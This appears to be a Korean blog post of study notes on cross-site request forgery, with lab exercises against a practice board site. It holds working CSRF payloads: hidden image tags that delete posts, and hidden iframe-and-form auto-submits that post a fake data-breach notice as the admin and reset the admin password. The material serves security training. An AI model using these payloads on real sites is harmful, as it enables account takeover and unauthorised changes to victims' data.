고고잉 2023. 1. 1. 19:19

CSRF 공격방법
1. referer 체크
 > referer header를 삭제 후 서버가 요청이 발생한 위치를 체크하는지 확인 
2. 요청이 발생한 위치를 체키하지 않는다면 요청 메소드 확인(get, post)
 > get인 경우 script 없이 자동 요청 코드 작성 가능
 > post인 경우 script 사용하여 자동 요청 코드 작성 가능
3. 자동 요청 코드 작성
 > 변경하고자 하는 값이 어떻게 전달되는지 분석 후 코드 작성
4. 공격 대상에게 전달
 > stored(웹서버 게시판 같은 기능을 사용하여 몰래 저장)
 > 자동 요청 코드를 reflected 형태의 공격이 가능한 injeection vector를 사용

CSFR 공격

<img width="0" height="0" src="http://www.a.com/nick_proc.php?nickname=hack"></img>test 

연습1
guest 계정을 사용하는 해커는 admin 관리자가 작성해놓은 공지사항글을 삭제하고 싶다.
하지만 권한이 없어 삭제가 불가능하다.
!CSRF 공격코드를 작성하여 공지사항글을 삭제!
> 해커는 '관리자님 도와주세요'라는 제목의 글을 등록
> 해당 글을 읽으면 '해결되었습니다.'라는 글 내용이 출력
> 이때 해커가 입력해놓은 CSRF 공격 코드에 의해 공지사항 글이 삭제
> 해커 글 등록 후 관리자쪽에서 해당 글 읽어야함!

<img width="0" height="0" src="http://www.a.com/board_del.php?no=54"></img>해결완료!!!
등록 후 관리자로 로그인해서 해당 게시글 클릭하면 공지사항 삭제됨


- post메소드인 경우 전달 값이 포함되는 form을 복사하여 원하는 값을 셋팅
 > 아래 소스코드에 있는 <form> 부분을 사용한다. 
<!DOCTYPE html>
<html>
    <head>
        <title>csrf post7</title>
    </head>

    <body>
        <pre>
            제목 : csrf post7
            내용 : <iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="nick_proc.php" target="i">
<input type="hidden" name="nickname" value="hack">
</form>
<script>document.getElementById("f").submit();</script>
            작성자 : guest
            등록일 : 2022-10-12 15:04:26
        </pre>

    </body>
</html> 


http://www.a.com/board_insert.php

subject=test&content=1111


 연습1
자동 글 올리기
공격자가 '관리자님 도와주세요!!"라는 글 게시
관리자가 글을 읽으면 자신도 모르게 자신의 이름으로 "제목 : 사이트폐쇄, 내용: 우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다." 라는 글이 등록
Tip: textarea 는 type=text와 같음

풀이1
<iframe width="0" height="0" name="i"></iframe>
 > iframe : 페이지 영역을 나눌수 있는 기능
 > name : iframe 이름 지정
<form id="f" method="post" action="board_insert.php" target="i">
 > id : form을 선택할 수 있도록 id 지정
 > target : 폼의 응답을 특정 프레임으로 지정해서 넘길수 있는 기능
<input type="hidden" name="subject" value="사이트폐쇄">
<input type="hidden" name="content" value="우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다.">
</form>
<script>document.getElementById("f").submit();</script>
 > 자동으로 요청을 보내기 위해 script를 사용한다.
 > document : 현재 페이지 선택
 > . : 선택한 페이지 내에서
 > getElementById("?") : id를 읽겠다.
 (form 코드는 게시판 소스코드에서 가져옴)


연습2
공격자가 등록한 글을 읽으면 관리자 계정의 비밀번호가 공격자가 원하는 비밀번호로 변경되도록하는 CSRF 공격코드를 작성하시오
제목 : 관리자님 도와주세요2
내용 : 이제 관리자는 내꺼다.

관리자가 글을 읽으면 관리자의 비번이 설정한 비번으로 변경됨

http://www.a.com/member_update.php
pass=1111&pass_re=1111&name=1&nickname=1&mobile=1&email=1&address=1

<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" value="1111">
</form>
<script>document.getElementById("f").submit();</script>


CSRF 보안
<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" value="1111">
<input type="hidden" name="anticsrftoken" value="d7c283937c089163055d5a964fe868a3"
</form>
<script>document.getElementById("f").submit();</script>




<iframe width="0" height="0" name="i"></iframe>
<form method="post" action="nick_proc.php" target="i" id="f">
<input type="hidden" name="nickname" value="hack">
<input type="hidden" name="anticsrftoken" value="85b8b476328704f51ce0aacacac30735">
</form><script>document.getElementById("f").submit();</script>




<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="BTS_board.php" target="i">
<input type="hidden" name="subject" value="사이트폐쇄">
<input type="hidden" name="content" value="우리사이트의 개인정보가 털렸으니 하루빨리 탈퇴바랍니다.">
</form>
<script>document.getElementById("f").submit();</script>



<img width="0" height="0" src="http://www.mario-ent.com/board_del.php?no=24"></img>해결완료!


<iframe width="0" height="0" name="i"></iframe>
<form id="f" method="post" action="member_update.php" target="i">
<input type="hidden" name="pass" id="pass" value="1111">
</form>
<script>document.getElementById("f").submit();</script>